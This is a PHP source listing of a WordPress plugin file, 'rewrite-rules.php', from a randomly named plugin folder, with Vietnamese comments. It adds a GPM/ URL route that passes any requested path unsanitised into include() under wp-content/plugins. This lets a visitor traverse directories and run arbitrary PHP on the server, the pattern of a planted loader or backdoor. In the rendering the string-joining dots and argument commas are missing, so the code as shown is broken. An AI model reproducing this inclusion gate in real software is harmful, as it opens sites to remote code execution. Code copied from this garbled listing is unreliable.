/var/www/html_fr/wp-content/plugins/6HHYJBI0P2GXTHB_221285/rewrite-rules.php


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
if (!defined('ABSPATH')) {
    exit;
}

// Thêm rewrite rule
// function custom_gpm_rewrite_rule_inner_plugin() {
//     add_rewrite_rule(
//         '^GPM/(.+)$', 
//         'index.php?custom_gpm=$matches[1]', 
//         'top'
//     );
// }
function custom_gpm_rewrite_rule_inner_plugin() {
    
add_rewrite_rule(
        
'^GPM/(.+)/?',  // Cho phép có hoặc không có dấu "/"
        
'index.php?custom_gpm=$matches[1]',
        
'top'
    
);
}
add_action('init''custom_gpm_rewrite_rule_inner_plugin');

// Đăng ký query vars
function custom_gpm_query_vars_inner_plugin($vars) {
    
$vars[] = 'custom_gpm';
    return 
$vars;
}
add_filter('query_vars''custom_gpm_query_vars_inner_plugin');

// Xử lý chuyển hướng
function custom_gpm_template_redirect_inner_plugin() {
    
$gpm_path get_query_var('custom_gpm');

    if (
$gpm_path) {
        
$target_file ABSPATH 'wp-content/plugins/' $gpm_path;

        if (
file_exists($target_file) && is_file($target_file)) {
            include(
$target_file);
            exit;
        } else {
            
wp_die("File not exits: " esc_html($gpm_path), "Lỗi 404");
        }
    }
}
add_action('template_redirect''custom_gpm_template_redirect_inner_plugin');